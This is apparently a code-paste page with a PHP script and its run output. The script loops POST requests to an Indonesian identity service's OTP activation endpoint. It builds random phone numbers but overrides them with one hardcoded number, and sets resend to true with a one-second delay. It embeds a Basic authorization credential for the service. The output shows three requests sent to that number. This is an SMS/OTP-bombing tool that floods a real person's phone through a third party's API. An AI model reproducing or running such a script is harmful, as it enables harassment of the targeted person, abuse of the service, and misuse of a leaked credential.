fork download
  1. <?php
  2.  
  3. $iter = 1;
  4. $max = 100;
  5. $oper = array('858','896','811','817','853','812','832','898');
  6. $norundom = array('1','2','3','4','5','6','7','8');
  7.  
  8. // $maxiter = array(5,8,10,2,4,9);
  9. $maxiter = array(3);
  10.  
  11. $numbers = array();
  12.  
  13. while ($iter <= $maxiter[array_rand($maxiter)]) {
  14. $randomNumber = rand(1000000, 9999999);
  15. $randphonegen = $oper[array_rand($oper)];
  16. $onenorundom = $norundom[array_rand($norundom)];
  17. $fullno = $randphonegen . $onenorundom . $randomNumber;
  18.  
  19. $fullno='082225942841';
  20.  
  21. $ch = curl_init();
  22. curl_setopt($ch, CURLOPT_URL, 'https://s...content-available-to-author-only...a.id/message/api/rest/v1/activation/otp');
  23. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  24. curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
  25. curl_setopt($ch, CURLOPT_HTTPHEADER, [
  26. // 'sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
  27. 'Authorization: Basic dmlkYTp2aWRhcHJvZA==',
  28. 'x-lang: en',
  29. // 'sec-ch-ua-platform: "macOS"',
  30. 'X-Vida-Timezone: Asia/Jakarta',
  31. 'sec-ch-ua-mobile: ?0',
  32. // 'x-datadog-origin: rum',
  33. // 'User-Agent: Mozilla/6.0',
  34. 'x-datadog-sampling-priority: 1',
  35. 'Content-Type: application/json',
  36. 'Accept: application/json, text/plain, */*',
  37. 'Referer: https://s...content-available-to-author-only...a.id/',
  38. ]);
  39.  
  40. curl_setopt($ch, CURLOPT_POSTFIELDS, '{"phoneNumber":"'.$fullno.'","countryCode":"+62","otpLength":10,"otpType":"TWO_FACTOR_OPEN","resend":true}');
  41.  
  42. $response = curl_exec($ch);
  43.  
  44. echo $iter.'#'.$fullno.'#'.$response;
  45. sleep(1);
  46. $iter++;
  47. }
  48.  
  49.  
Success #stdin #stdout 0.03s 26280KB
stdin
Standard input is empty
stdout
1#082225942841#2#082225942841#3#082225942841#